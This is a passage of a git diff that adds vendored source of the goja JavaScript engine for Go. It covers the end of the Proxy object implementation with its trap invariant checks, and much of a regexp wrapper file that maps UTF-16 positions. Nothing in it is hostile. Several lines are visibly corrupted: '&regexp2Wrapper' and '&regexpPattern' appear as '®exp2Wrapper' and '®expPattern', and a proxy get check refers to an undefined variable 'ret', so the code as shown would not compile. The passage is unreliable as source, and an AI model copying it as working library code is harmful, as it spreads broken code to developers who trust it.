+ configurable: true, + enumerable: true, + } +} + +func (p *proxyObject) proxyDefineOwnPropertyPreCheck(trapResult, throw bool) bool { + if !trapResult { + p.val.runtime.typeErrorResult(throw, "'defineProperty' on proxy: trap returned falsish") + return false + } + return true +} + +func (p *proxyObject) proxyDefineOwnPropertyPostCheck(prop Value, target *Object, descr PropertyDescriptor) { + targetDesc := propToValueProp(prop) + extensibleTarget := target.self.isExtensible() + settingConfigFalse := descr.Configurable == FLAG_FALSE + if targetDesc == nil { + if !extensibleTarget { + panic(p.val.runtime.NewTypeError()) + } + if settingConfigFalse { + panic(p.val.runtime.NewTypeError()) + } + } else { + if !p.__isCompatibleDescriptor(extensibleTarget, &descr, targetDesc) { + panic(p.val.runtime.NewTypeError()) + } + if settingConfigFalse && targetDesc.configurable { + panic(p.val.runtime.NewTypeError()) + } + if targetDesc.value != nil && !targetDesc.configurable && targetDesc.writable { + if descr.Writable == FLAG_FALSE { + panic(p.val.runtime.NewTypeError()) + } + } + } +} + +func (p *proxyObject) defineOwnPropertyStr(name unistring.String, descr PropertyDescriptor, throw bool) bool { + target := p.target + if booleanTrapResult, ok := p.checkHandler().definePropertyStr(target, name, descr); ok { + if !p.proxyDefineOwnPropertyPreCheck(booleanTrapResult, throw) { + return false + } + p.proxyDefineOwnPropertyPostCheck(target.self.getOwnPropStr(name), target, descr) + return true + } + return target.self.defineOwnPropertyStr(name, descr, throw) +} + +func (p *proxyObject) defineOwnPropertyIdx(idx valueInt, descr PropertyDescriptor, throw bool) bool { + target := p.target + if booleanTrapResult, ok := p.checkHandler().definePropertyIdx(target, idx, descr); ok { + if !p.proxyDefineOwnPropertyPreCheck(booleanTrapResult, throw) { + return false + } + p.proxyDefineOwnPropertyPostCheck(target.self.getOwnPropIdx(idx), target, descr) + return true + } + + return target.self.defineOwnPropertyIdx(idx, descr, throw) +} + +func (p *proxyObject) defineOwnPropertySym(s *Symbol, descr PropertyDescriptor, throw bool) bool { + target := p.target + if booleanTrapResult, ok := p.checkHandler().definePropertySym(target, s, descr); ok { + if !p.proxyDefineOwnPropertyPreCheck(booleanTrapResult, throw) { + return false + } + p.proxyDefineOwnPropertyPostCheck(target.self.getOwnPropSym(s), target, descr) + return true + } + + return target.self.defineOwnPropertySym(s, descr, throw) +} + +func (p *proxyObject) proxyHasChecks(targetProp Value, target *Object, name fmt.Stringer) { + targetDesc := propToValueProp(targetProp) + if targetDesc != nil { + if !targetDesc.configurable { + panic(p.val.runtime.NewTypeError("'has' on proxy: trap returned falsish for property '%s' which exists in the proxy target as non-configurable", name.String())) + } + if !target.self.isExtensible() { + panic(p.val.runtime.NewTypeError("'has' on proxy: trap returned falsish for property '%s' but the proxy target is not extensible", name.String())) + } + } +} + +func (p *proxyObject) hasPropertyStr(name unistring.String) bool { + target := p.target + if b, ok := p.checkHandler().hasStr(target, name); ok { + if !b { + p.proxyHasChecks(target.self.getOwnPropStr(name), target, name) + } + return b + } + + return target.self.hasPropertyStr(name) +} + +func (p *proxyObject) hasPropertyIdx(idx valueInt) bool { + target := p.target + if b, ok := p.checkHandler().hasIdx(target, idx); ok { + if !b { + p.proxyHasChecks(target.self.getOwnPropIdx(idx), target, idx) + } + return b + } + + return target.self.hasPropertyIdx(idx) +} + +func (p *proxyObject) hasPropertySym(s *Symbol) bool { + target := p.target + if b, ok := p.checkHandler().hasSym(target, s); ok { + if !b { + p.proxyHasChecks(target.self.getOwnPropSym(s), target, s) + } + return b + } + + return target.self.hasPropertySym(s) +} + +func (p *proxyObject) hasOwnPropertyStr(name unistring.String) bool { + return p.getOwnPropStr(name) != nil +} + +func (p *proxyObject) hasOwnPropertyIdx(idx valueInt) bool { + return p.getOwnPropIdx(idx) != nil +} + +func (p *proxyObject) hasOwnPropertySym(s *Symbol) bool { + return p.getOwnPropSym(s) != nil +} + +func (p *proxyObject) proxyGetOwnPropertyDescriptor(targetProp Value, target *Object, trapResult Value, name fmt.Stringer) Value { + r := p.val.runtime + targetDesc := propToValueProp(targetProp) + var trapResultObj *Object + if trapResult != nil && trapResult != _undefined { + if obj, ok := trapResult.(*Object); ok { + trapResultObj = obj + } else { + panic(r.NewTypeError("'getOwnPropertyDescriptor' on proxy: trap returned neither object nor undefined for property '%s'", name.String())) + } + } + if trapResultObj == nil { + if targetDesc == nil { + return nil + } + if !targetDesc.configurable { + panic(r.NewTypeError()) + } + if !target.self.isExtensible() { + panic(r.NewTypeError()) + } + return nil + } + extensibleTarget := target.self.isExtensible() + resultDesc := r.toPropertyDescriptor(trapResultObj) + resultDesc.complete() + if !p.__isCompatibleDescriptor(extensibleTarget, &resultDesc, targetDesc) { + panic(r.NewTypeError("'getOwnPropertyDescriptor' on proxy: trap returned descriptor for property '%s' that is incompatible with the existing property in the proxy target", name.String())) + } + + if resultDesc.Configurable == FLAG_FALSE { + if targetDesc == nil { + panic(r.NewTypeError("'getOwnPropertyDescriptor' on proxy: trap reported non-configurability for property '%s' which is non-existent in the proxy target", name.String())) + } + + if targetDesc.configurable { + panic(r.NewTypeError("'getOwnPropertyDescriptor' on proxy: trap reported non-configurability for property '%s' which is configurable in the proxy target", name.String())) + } + + if resultDesc.Writable == FLAG_FALSE && targetDesc.writable { + panic(r.NewTypeError("'getOwnPropertyDescriptor' on proxy: trap reported non-configurable and writable for property '%s' which is non-configurable, non-writable in the proxy target", name.String())) + } + } + + if resultDesc.Writable == FLAG_TRUE && resultDesc.Configurable == FLAG_TRUE && + resultDesc.Enumerable == FLAG_TRUE { + return resultDesc.Value + } + return r.toValueProp(trapResultObj) +} + +func (p *proxyObject) getOwnPropStr(name unistring.String) Value { + target := p.target + if v, ok := p.checkHandler().getOwnPropertyDescriptorStr(target, name); ok { + return p.proxyGetOwnPropertyDescriptor(target.self.getOwnPropStr(name), target, v, name) + } + + return target.self.getOwnPropStr(name) +} + +func (p *proxyObject) getOwnPropIdx(idx valueInt) Value { + target := p.target + if v, ok := p.checkHandler().getOwnPropertyDescriptorIdx(target, idx); ok { + return p.proxyGetOwnPropertyDescriptor(target.self.getOwnPropIdx(idx), target, v, idx) + } + + return target.self.getOwnPropIdx(idx) +} + +func (p *proxyObject) getOwnPropSym(s *Symbol) Value { + target := p.target + if v, ok := p.checkHandler().getOwnPropertyDescriptorSym(target, s); ok { + return p.proxyGetOwnPropertyDescriptor(target.self.getOwnPropSym(s), target, v, s) + } + + return target.self.getOwnPropSym(s) +} + +func (p *proxyObject) proxyGetChecks(targetProp, trapResult Value, name fmt.Stringer) { + if targetDesc, ok := targetProp.(*valueProperty); ok { + if !targetDesc.accessor { + if !targetDesc.writable && !targetDesc.configurable && !trapResult.SameAs(targetDesc.value) { + panic(p.val.runtime.NewTypeError("'get' on proxy: property '%s' is a read-only and non-configurable data property on the proxy target but the proxy did not return its actual value (expected '%s' but got '%s')", name.String(), nilSafe(targetDesc.value), ret)) + } + } else { + if !targetDesc.configurable && targetDesc.getterFunc == nil && trapResult != _undefined { + panic(p.val.runtime.NewTypeError("'get' on proxy: property '%s' is a non-configurable accessor property on the proxy target and does not have a getter function, but the trap did not return 'undefined' (got '%s')", name.String(), ret)) + } + } + } +} + +func (p *proxyObject) getStr(name unistring.String, receiver Value) Value { + target := p.target + if receiver == nil { + receiver = p.val + } + if v, ok := p.checkHandler().getStr(target, name, receiver); ok { + p.proxyGetChecks(target.self.getOwnPropStr(name), v, name) + return v + } + return target.self.getStr(name, receiver) +} + +func (p *proxyObject) getIdx(idx valueInt, receiver Value) Value { + target := p.target + if receiver == nil { + receiver = p.val + } + if v, ok := p.checkHandler().getIdx(target, idx, receiver); ok { + p.proxyGetChecks(target.self.getOwnPropIdx(idx), v, idx) + return v + } + return target.self.getIdx(idx, receiver) +} + +func (p *proxyObject) getSym(s *Symbol, receiver Value) Value { + target := p.target + if receiver == nil { + receiver = p.val + } + if v, ok := p.checkHandler().getSym(target, s, receiver); ok { + p.proxyGetChecks(target.self.getOwnPropSym(s), v, s) + return v + } + + return target.self.getSym(s, receiver) +} + +func (p *proxyObject) proxySetPreCheck(trapResult, throw bool, name fmt.Stringer) bool { + if !trapResult { + p.val.runtime.typeErrorResult(throw, "'set' on proxy: trap returned falsish for property '%s'", name.String()) + } + return trapResult +} + +func (p *proxyObject) proxySetPostCheck(targetProp, value Value, name fmt.Stringer) { + if prop, ok := targetProp.(*valueProperty); ok { + if prop.accessor { + if !prop.configurable && prop.setterFunc == nil { + panic(p.val.runtime.NewTypeError("'set' on proxy: trap returned truish for property '%s' which exists in the proxy target as a non-configurable and non-writable accessor property without a setter", name.String())) + } + } else if !prop.configurable && !prop.writable && !p.__sameValue(prop.value, value) { + panic(p.val.runtime.NewTypeError("'set' on proxy: trap returned truish for property '%s' which exists in the proxy target as a non-configurable and non-writable data property with a different value", name.String())) + } + } +} + +func (p *proxyObject) proxySetStr(name unistring.String, value, receiver Value, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().setStr(target, name, value, receiver); ok { + if p.proxySetPreCheck(v, throw, name) { + p.proxySetPostCheck(target.self.getOwnPropStr(name), value, name) + return true + } + return false + } + return target.setStr(name, value, receiver, throw) +} + +func (p *proxyObject) proxySetIdx(idx valueInt, value, receiver Value, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().setIdx(target, idx, value, receiver); ok { + if p.proxySetPreCheck(v, throw, idx) { + p.proxySetPostCheck(target.self.getOwnPropIdx(idx), value, idx) + return true + } + return false + } + return target.setIdx(idx, value, receiver, throw) +} + +func (p *proxyObject) proxySetSym(s *Symbol, value, receiver Value, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().setSym(target, s, value, receiver); ok { + if p.proxySetPreCheck(v, throw, s) { + p.proxySetPostCheck(target.self.getOwnPropSym(s), value, s) + return true + } + return false + } + return target.setSym(s, value, receiver, throw) +} + +func (p *proxyObject) setOwnStr(name unistring.String, v Value, throw bool) bool { + return p.proxySetStr(name, v, p.val, throw) +} + +func (p *proxyObject) setOwnIdx(idx valueInt, v Value, throw bool) bool { + return p.proxySetIdx(idx, v, p.val, throw) +} + +func (p *proxyObject) setOwnSym(s *Symbol, v Value, throw bool) bool { + return p.proxySetSym(s, v, p.val, throw) +} + +func (p *proxyObject) setForeignStr(name unistring.String, v, receiver Value, throw bool) (bool, bool) { + return p.proxySetStr(name, v, receiver, throw), true +} + +func (p *proxyObject) setForeignIdx(idx valueInt, v, receiver Value, throw bool) (bool, bool) { + return p.proxySetIdx(idx, v, receiver, throw), true +} + +func (p *proxyObject) setForeignSym(s *Symbol, v, receiver Value, throw bool) (bool, bool) { + return p.proxySetSym(s, v, receiver, throw), true +} + +func (p *proxyObject) proxyDeleteCheck(trapResult bool, targetProp Value, name fmt.Stringer, target *Object, throw bool) { + if trapResult { + if targetProp == nil { + return + } + if targetDesc, ok := targetProp.(*valueProperty); ok { + if !targetDesc.configurable { + panic(p.val.runtime.NewTypeError("'deleteProperty' on proxy: property '%s' is a non-configurable property but the trap returned truish", name.String())) + } + } + if !target.self.isExtensible() { + panic(p.val.runtime.NewTypeError("'deleteProperty' on proxy: trap returned truish for property '%s' but the proxy target is non-extensible", name.String())) + } + } else { + p.val.runtime.typeErrorResult(throw, "'deleteProperty' on proxy: trap returned falsish for property '%s'", name.String()) + } +} + +func (p *proxyObject) deleteStr(name unistring.String, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().deleteStr(target, name); ok { + p.proxyDeleteCheck(v, target.self.getOwnPropStr(name), name, target, throw) + return v + } + + return target.self.deleteStr(name, throw) +} + +func (p *proxyObject) deleteIdx(idx valueInt, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().deleteIdx(target, idx); ok { + p.proxyDeleteCheck(v, target.self.getOwnPropIdx(idx), idx, target, throw) + return v + } + + return target.self.deleteIdx(idx, throw) +} + +func (p *proxyObject) deleteSym(s *Symbol, throw bool) bool { + target := p.target + if v, ok := p.checkHandler().deleteSym(target, s); ok { + p.proxyDeleteCheck(v, target.self.getOwnPropSym(s), s, target, throw) + return v + } + + return target.self.deleteSym(s, throw) +} + +func (p *proxyObject) keys(all bool, _ []Value) []Value { + if v, ok := p.proxyOwnKeys(); ok { + if !all { + k := 0 + for i, key := range v { + prop := p.val.getOwnProp(key) + if prop == nil || prop == _undefined { + continue + } + if prop, ok := prop.(*valueProperty); ok && !prop.enumerable { + continue + } + if k != i { + v[k] = v[i] + } + k++ + } + v = v[:k] + } + return v + } + return p.target.self.keys(all, nil) +} + +func (p *proxyObject) proxyOwnKeys() ([]Value, bool) { + target := p.target + if v, ok := p.checkHandler().ownKeys(target); ok { + keys := p.val.runtime.toObject(v) + var keyList []Value + var keySet propNameSet + l := toLength(keys.self.getStr("length", nil)) + for k := int64(0); k < l; k++ { + item := keys.self.getIdx(valueInt(k), nil) + if _, ok := item.(String); !ok { + if _, ok := item.(*Symbol); !ok { + panic(p.val.runtime.NewTypeError("%s is not a valid property name", item.String())) + } + } + if keySet.has(item) { + panic(p.val.runtime.NewTypeError("'ownKeys' on proxy: trap returned duplicate entries")) + } + keyList = append(keyList, item) + keySet.add(item) + } + ext := target.self.isExtensible() + for item, next := target.self.iterateKeys()(); next != nil; item, next = next() { + if keySet.has(item.name) { + keySet.delete(item.name) + } else { + if !ext { + panic(p.val.runtime.NewTypeError("'ownKeys' on proxy: trap result did not include '%s'", item.name.String())) + } + var prop Value + if item.value == nil { + prop = target.getOwnProp(item.name) + } else { + prop = item.value + } + if prop, ok := prop.(*valueProperty); ok && !prop.configurable { + panic(p.val.runtime.NewTypeError("'ownKeys' on proxy: trap result did not include non-configurable '%s'", item.name.String())) + } + } + } + if !ext && len(keyList) > 0 && keySet.size() > 0 { + panic(p.val.runtime.NewTypeError("'ownKeys' on proxy: trap returned extra keys but proxy target is non-extensible")) + } + + return keyList, true + } + + return nil, false +} + +func (p *proxyObject) iterateStringKeys() iterNextFunc { + return (&proxyPropIter{ + p: p, + names: p.stringKeys(true, nil), + }).next +} + +func (p *proxyObject) iterateSymbols() iterNextFunc { + return (&proxyPropIter{ + p: p, + names: p.symbols(true, nil), + }).next +} + +func (p *proxyObject) iterateKeys() iterNextFunc { + return (&proxyPropIter{ + p: p, + names: p.keys(true, nil), + }).next +} + +func (p *proxyObject) assertCallable() (call func(FunctionCall) Value, ok bool) { + if p.call != nil { + return func(call FunctionCall) Value { + return p.apply(call) + }, true + } + return nil, false +} + +func (p *proxyObject) vmCall(vm *vm, n int) { + vm.pushCtx() + vm.prg = nil + vm.sb = vm.sp - n // so that [sb-1] points to the callee + ret := p.apply(FunctionCall{This: vm.stack[vm.sp-n-2], Arguments: vm.stack[vm.sp-n : vm.sp]}) + if ret == nil { + ret = _undefined + } + vm.stack[vm.sp-n-2] = ret + vm.popCtx() + vm.sp -= n + 1 + vm.pc++ +} + +func (p *proxyObject) assertConstructor() func(args []Value, newTarget *Object) *Object { + if p.ctor != nil { + return p.construct + } + return nil +} + +func (p *proxyObject) apply(call FunctionCall) Value { + if p.call == nil { + panic(p.val.runtime.NewTypeError("proxy target is not a function")) + } + if v, ok := p.checkHandler().apply(p.target, nilSafe(call.This), call.Arguments); ok { + return v + } + return p.call(call) +} + +func (p *proxyObject) construct(args []Value, newTarget *Object) *Object { + if p.ctor == nil { + panic(p.val.runtime.NewTypeError("proxy target is not a constructor")) + } + if newTarget == nil { + newTarget = p.val + } + if v, ok := p.checkHandler().construct(p.target, args, newTarget); ok { + return p.val.runtime.toObject(v) + } + return p.ctor(args, newTarget) +} + +func (p *proxyObject) __isCompatibleDescriptor(extensible bool, desc *PropertyDescriptor, current *valueProperty) bool { + if current == nil { + return extensible + } + + if !current.configurable { + if desc.Configurable == FLAG_TRUE { + return false + } + + if desc.Enumerable != FLAG_NOT_SET && desc.Enumerable.Bool() != current.enumerable { + return false + } + + if desc.IsGeneric() { + return true + } + + if desc.IsData() != !current.accessor { + return desc.Configurable != FLAG_FALSE + } + + if desc.IsData() && !current.accessor { + if !current.configurable { + if desc.Writable == FLAG_TRUE && !current.writable { + return false + } + if !current.writable { + if desc.Value != nil && !desc.Value.SameAs(current.value) { + return false + } + } + } + return true + } + if desc.IsAccessor() && current.accessor { + if !current.configurable { + if desc.Setter != nil && desc.Setter.SameAs(current.setterFunc) { + return false + } + if desc.Getter != nil && desc.Getter.SameAs(current.getterFunc) { + return false + } + } + } + } + return true +} + +func (p *proxyObject) __sameValue(val1, val2 Value) bool { + if val1 == nil && val2 == nil { + return true + } + if val1 != nil { + return val1.SameAs(val2) + } + return false +} + +func (p *proxyObject) filterKeys(vals []Value, all, symbols bool) []Value { + if !all { + k := 0 + for i, val := range vals { + var prop Value + if symbols { + if s, ok := val.(*Symbol); ok { + prop = p.getOwnPropSym(s) + } else { + continue + } + } else { + if _, ok := val.(*Symbol); !ok { + prop = p.getOwnPropStr(val.string()) + } else { + continue + } + } + if prop == nil { + continue + } + if prop, ok := prop.(*valueProperty); ok && !prop.enumerable { + continue + } + if k != i { + vals[k] = vals[i] + } + k++ + } + vals = vals[:k] + } else { + k := 0 + for i, val := range vals { + if _, ok := val.(*Symbol); ok != symbols { + continue + } + if k != i { + vals[k] = vals[i] + } + k++ + } + vals = vals[:k] + } + return vals +} + +func (p *proxyObject) stringKeys(all bool, _ []Value) []Value { // we can assume accum is empty + var keys []Value + if vals, ok := p.proxyOwnKeys(); ok { + keys = vals + } else { + keys = p.target.self.stringKeys(true, nil) + } + + return p.filterKeys(keys, all, false) +} + +func (p *proxyObject) symbols(all bool, accum []Value) []Value { + var symbols []Value + if vals, ok := p.proxyOwnKeys(); ok { + symbols = vals + } else { + symbols = p.target.self.symbols(true, nil) + } + symbols = p.filterKeys(symbols, all, true) + if accum == nil { + return symbols + } + accum = append(accum, symbols...) + return accum +} + +func (p *proxyObject) className() string { + if p.target == nil { + panic(p.val.runtime.NewTypeError("proxy has been revoked")) + } + if p.call != nil || p.ctor != nil { + return classFunction + } + return classObject +} + +func (p *proxyObject) typeOf() String { + if p.call == nil { + return stringObjectC + } + + return stringFunction +} + +func (p *proxyObject) exportType() reflect.Type { + return proxyType +} + +func (p *proxyObject) export(*objectExportCtx) interface{} { + return Proxy{ + proxy: p, + } +} + +func (p *proxyObject) revoke() { + p.handler = nil + p.target = nil +} diff --git a/backend/vendor/github.com/dop251/goja/regexp.go b/backend/vendor/github.com/dop251/goja/regexp.go new file mode 100644 index 0000000..0fd1370 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/regexp.go @@ -0,0 +1,639 @@ +package goja + +import ( + "fmt" + "io" + "regexp" + "sort" + "strings" + "unicode/utf16" + + "github.com/dlclark/regexp2" + "github.com/dop251/goja/unistring" +) + +type regexp2MatchCache struct { + target String + runes []rune + posMap []int +} + +// Not goroutine-safe. Use regexp2Wrapper.clone() +type regexp2Wrapper struct { + rx *regexp2.Regexp + cache *regexp2MatchCache +} + +type regexpWrapper regexp.Regexp + +type positionMapItem struct { + src, dst int +} +type positionMap []positionMapItem + +func (m positionMap) get(src int) int { + if src <= 0 { + return src + } + res := sort.Search(len(m), func(n int) bool { return m[n].src >= src }) + if res >= len(m) || m[res].src != src { + panic("index not found") + } + return m[res].dst +} + +type arrayRuneReader struct { + runes []rune + pos int +} + +func (rd *arrayRuneReader) ReadRune() (r rune, size int, err error) { + if rd.pos < len(rd.runes) { + r = rd.runes[rd.pos] + size = 1 + rd.pos++ + } else { + err = io.EOF + } + return +} + +// Not goroutine-safe. Use regexpPattern.clone() +type regexpPattern struct { + src string + + global, ignoreCase, multiline, dotAll, sticky, unicode bool + + regexpWrapper *regexpWrapper + regexp2Wrapper *regexp2Wrapper +} + +func compileRegexp2(src string, multiline, dotAll, ignoreCase, unicode bool) (*regexp2Wrapper, error) { + var opts regexp2.RegexOptions = regexp2.ECMAScript + if multiline { + opts |= regexp2.Multiline + } + if dotAll { + opts |= regexp2.Singleline + } + if ignoreCase { + opts |= regexp2.IgnoreCase + } + if unicode { + opts |= regexp2.Unicode + } + regexp2Pattern, err1 := regexp2.Compile(src, opts) + if err1 != nil { + return nil, fmt.Errorf("Invalid regular expression (regexp2): %s (%v)", src, err1) + } + + return ®exp2Wrapper{rx: regexp2Pattern}, nil +} + +func (p *regexpPattern) createRegexp2() { + if p.regexp2Wrapper != nil { + return + } + rx, err := compileRegexp2(p.src, p.multiline, p.dotAll, p.ignoreCase, p.unicode) + if err != nil { + // At this point the regexp should have been successfully converted to re2, if it fails now, it's a bug. + panic(err) + } + p.regexp2Wrapper = rx +} + +func buildUTF8PosMap(s unicodeString) (positionMap, string) { + pm := make(positionMap, 0, s.Length()) + rd := s.Reader() + sPos, utf8Pos := 0, 0 + var sb strings.Builder + for { + r, size, err := rd.ReadRune() + if err == io.EOF { + break + } + if err != nil { + // the string contains invalid UTF-16, bailing out + return nil, "" + } + utf8Size, _ := sb.WriteRune(r) + sPos += size + utf8Pos += utf8Size + pm = append(pm, positionMapItem{src: utf8Pos, dst: sPos}) + } + return pm, sb.String() +} + +func (p *regexpPattern) findSubmatchIndex(s String, start int) []int { + if p.regexpWrapper == nil { + return p.regexp2Wrapper.findSubmatchIndex(s, start, p.unicode, p.global || p.sticky) + } + if start != 0 { + // Unfortunately Go's regexp library does not allow starting from an arbitrary position. + // If we just drop the first _start_ characters of the string the assertions (^, $, \b and \B) will not + // work correctly. + p.createRegexp2() + return p.regexp2Wrapper.findSubmatchIndex(s, start, p.unicode, p.global || p.sticky) + } + return p.regexpWrapper.findSubmatchIndex(s, p.unicode) +} + +func (p *regexpPattern) findAllSubmatchIndex(s String, start int, limit int, sticky bool) [][]int { + if p.regexpWrapper == nil { + return p.regexp2Wrapper.findAllSubmatchIndex(s, start, limit, sticky, p.unicode) + } + if start == 0 { + a, u := devirtualizeString(s) + if u == nil { + return p.regexpWrapper.findAllSubmatchIndex(string(a), limit, sticky) + } + if limit == 1 { + result := p.regexpWrapper.findSubmatchIndexUnicode(u, p.unicode) + if result == nil { + return nil + } + return [][]int{result} + } + // Unfortunately Go's regexp library lacks FindAllReaderSubmatchIndex(), so we have to use a UTF-8 string as an + // input. + if p.unicode { + // Try to convert s to UTF-8. If it does not contain any invalid UTF-16 we can do the matching in UTF-8. + pm, str := buildUTF8PosMap(u) + if pm != nil { + res := p.regexpWrapper.findAllSubmatchIndex(str, limit, sticky) + for _, result := range res { + for i, idx := range result { + result[i] = pm.get(idx) + } + } + return res + } + } + } + + p.createRegexp2() + return p.regexp2Wrapper.findAllSubmatchIndex(s, start, limit, sticky, p.unicode) +} + +// clone creates a copy of the regexpPattern which can be used concurrently. +func (p *regexpPattern) clone() *regexpPattern { + ret := ®expPattern{ + src: p.src, + global: p.global, + ignoreCase: p.ignoreCase, + multiline: p.multiline, + dotAll: p.dotAll, + sticky: p.sticky, + unicode: p.unicode, + } + if p.regexpWrapper != nil { + ret.regexpWrapper = p.regexpWrapper.clone() + } + if p.regexp2Wrapper != nil { + ret.regexp2Wrapper = p.regexp2Wrapper.clone() + } + return ret +} + +type regexpObject struct { + baseObject + pattern *regexpPattern + source String + + standard bool +} + +func (r *regexp2Wrapper) findSubmatchIndex(s String, start int, fullUnicode, doCache bool) (result []int) { + if fullUnicode { + return r.findSubmatchIndexUnicode(s, start, doCache) + } + return r.findSubmatchIndexUTF16(s, start, doCache) +} + +func (r *regexp2Wrapper) findUTF16Cached(s String, start int, doCache bool) (match *regexp2.Match, runes []rune, err error) { + wrapped := r.rx + cache := r.cache + if cache != nil && cache.posMap == nil && cache.target.SameAs(s) { + runes = cache.runes + } else { + runes = s.utf16Runes() + cache = nil + } + match, err = wrapped.FindRunesMatchStartingAt(runes, start) + if doCache && match != nil && err == nil { + if cache == nil { + if r.cache == nil { + r.cache = new(regexp2MatchCache) + } + *r.cache = regexp2MatchCache{ + target: s, + runes: runes, + } + } + } else { + r.cache = nil + } + return +} + +func (r *regexp2Wrapper) findSubmatchIndexUTF16(s String, start int, doCache bool) (result []int) { + match, _, err := r.findUTF16Cached(s, start, doCache) + if err != nil { + return + } + + if match == nil { + return + } + groups := match.Groups() + + result = make([]int, 0, len(groups)<<1) + for _, group := range groups { + if len(group.Captures) > 0 { + result = append(result, group.Index, group.Index+group.Length) + } else { + result = append(result, -1, 0) + } + } + return +} + +func (r *regexp2Wrapper) findUnicodeCached(s String, start int, doCache bool) (match *regexp2.Match, posMap []int, err error) { + var ( + runes []rune + mappedStart int + splitPair bool + savedRune rune + ) + wrapped := r.rx + cache := r.cache + if cache != nil && cache.posMap != nil && cache.target.SameAs(s) { + runes, posMap = cache.runes, cache.posMap + mappedStart, splitPair = posMapReverseLookup(posMap, start) + } else { + posMap, runes, mappedStart, splitPair = buildPosMap(&lenientUtf16Decoder{utf16Reader: s.utf16Reader()}, s.Length(), start) + cache = nil + } + if splitPair { + // temporarily set the rune at mappedStart to the second code point of the pair + _, second := utf16.EncodeRune(runes[mappedStart]) + savedRune, runes[mappedStart] = runes[mappedStart], second + } + match, err = wrapped.FindRunesMatchStartingAt(runes, mappedStart) + if doCache && match != nil && err == nil { + if splitPair { + runes[mappedStart] = savedRune + } + if cache == nil { + if r.cache == nil { + r.cache = new(regexp2MatchCache) + } + *r.cache = regexp2MatchCache{ + target: s, + runes: runes, + posMap: posMap, + } + } + } else { + r.cache = nil + } + + return +} + +func (r *regexp2Wrapper) findSubmatchIndexUnicode(s String, start int, doCache bool) (result []int) { + match, posMap, err := r.findUnicodeCached(s, start, doCache) + if match == nil || err != nil { + return + } + + groups := match.Groups() + + result = make([]int, 0, len(groups)<<1) + for _, group := range groups { + if len(group.Captures) > 0 { + result = append(result, posMap[group.Index], posMap[group.Index+group.Length]) + } else { + result = append(result, -1, 0) + } + } + return +} + +func (r *regexp2Wrapper) findAllSubmatchIndexUTF16(s String, start, limit int, sticky bool) [][]int { + wrapped := r.rx + match, runes, err := r.findUTF16Cached(s, start, false) + if match == nil || err != nil { + return nil + } + if limit < 0 { + limit = len(runes) + 1 + } + results := make([][]int, 0, limit) + for match != nil { + groups := match.Groups() + + result := make([]int, 0, len(groups)<<1) + + for _, group := range groups { + if len(group.Captures) > 0 { + startPos := group.Index + endPos := group.Index + group.Length + result = append(result, startPos, endPos) + } else { + result = append(result, -1, 0) + } + } + + if sticky && len(result) > 1 { + if result[0] != start { + break + } + start = result[1] + } + + results = append(results, result) + limit-- + if limit <= 0 { + break + } + match, err = wrapped.FindNextMatch(match) + if err != nil { + return nil + } + } + return results +} + +func buildPosMap(rd io.RuneReader, l, start int) (posMap []int, runes []rune, mappedStart int, splitPair bool) { + posMap = make([]int, 0, l+1) + curPos := 0 + runes = make([]rune, 0, l) + startFound := false + for { + if !startFound { + if curPos == start { + mappedStart = len(runes) + startFound = true + } + if curPos > start { + // start position splits a surrogate pair + mappedStart = len(runes) - 1 + splitPair = true + startFound = true + } + } + rn, size, err := rd.ReadRune() + if err != nil { + break + } + runes = append(runes, rn) + posMap = append(posMap, curPos) + curPos += size + } + posMap = append(posMap, curPos) + return +} + +func posMapReverseLookup(posMap []int, pos int) (int, bool) { + mapped := sort.SearchInts(posMap, pos) + if mapped < len(posMap) && posMap[mapped] != pos { + return mapped - 1, true + } + return mapped, false +} + +func (r *regexp2Wrapper) findAllSubmatchIndexUnicode(s unicodeString, start, limit int, sticky bool) [][]int { + wrapped := r.rx + if limit < 0 { + limit = len(s) + 1 + } + results := make([][]int, 0, limit) + match, posMap, err := r.findUnicodeCached(s, start, false) + if err != nil { + return nil + } + for match != nil { + groups := match.Groups() + + result := make([]int, 0, len(groups)<<1) + + for _, group := range groups { + if len(group.Captures) > 0 { + start := posMap[group.Index] + end := posMap[group.Index+group.Length] + result = append(result, start, end) + } else { + result = append(result, -1, 0) + } + } + + if sticky && len(result) > 1 { + if result[0] != start { + break + } + start = result[1] + } + + results = append(results, result) + match, err = wrapped.FindNextMatch(match) + if err != nil { + return nil + } + } + return results +} + +func (r *regexp2Wrapper) findAllSubmatchIndex(s String, start, limit int, sticky, fullUnicode bool) [][]int { + a, u := devirtualizeString(s) + if u != nil { + if fullUnicode { + return r.findAllSubmatchIndexUnicode(u, start, limit, sticky) + } + return r.findAllSubmatchIndexUTF16(u, start, limit, sticky) + } + return r.findAllSubmatchIndexUTF16(a, start, limit, sticky) +} + +func (r *regexp2Wrapper) clone() *regexp2Wrapper { + return ®exp2Wrapper{ + rx: r.rx, + } +} + +func (r *regexpWrapper) findAllSubmatchIndex(s string, limit int, sticky bool) (results [][]int) { + wrapped := (*regexp.Regexp)(r) + results = wrapped.FindAllStringSubmatchIndex(s, limit) + pos := 0 + if sticky { + for i, result := range results { + if len(result) > 1 { + if result[0] != pos { + return results[:i] + } + pos = result[1] + } + } + } + return +} + +func (r *regexpWrapper) findSubmatchIndex(s String, fullUnicode bool) []int { + a, u := devirtualizeString(s) + if u != nil { + return r.findSubmatchIndexUnicode(u, fullUnicode) + } + return r.findSubmatchIndexASCII(string(a)) +} + +func (r *regexpWrapper) findSubmatchIndexASCII(s string) []int { + wrapped := (*regexp.Regexp)(r) + return wrapped.FindStringSubmatchIndex(s) +} + +func (r *regexpWrapper) findSubmatchIndexUnicode(s unicodeString, fullUnicode bool) (result []int) { + wrapped := (*regexp.Regexp)(r) + if fullUnicode { + posMap, runes, _, _ := buildPosMap(&lenientUtf16Decoder{utf16Reader: s.utf16Reader()}, s.Length(), 0) + res := wrapped.FindReaderSubmatchIndex(&arrayRuneReader{runes: runes}) + for i, item := range res { + if item >= 0 { + res[i] = posMap[item] + } + } + return res + } + return wrapped.FindReaderSubmatchIndex(s.utf16RuneReader()) +} + +func (r *regexpWrapper) clone() *regexpWrapper { + return r +} + +func (r *regexpObject) execResultToArray(target String, result []int) Value { + captureCount := len(result) >> 1 + valueArray := make([]Value, captureCount) + matchIndex := result[0] + valueArray[0] = target.Substring(result[0], result[1]) + lowerBound := 0 + for index := 1; 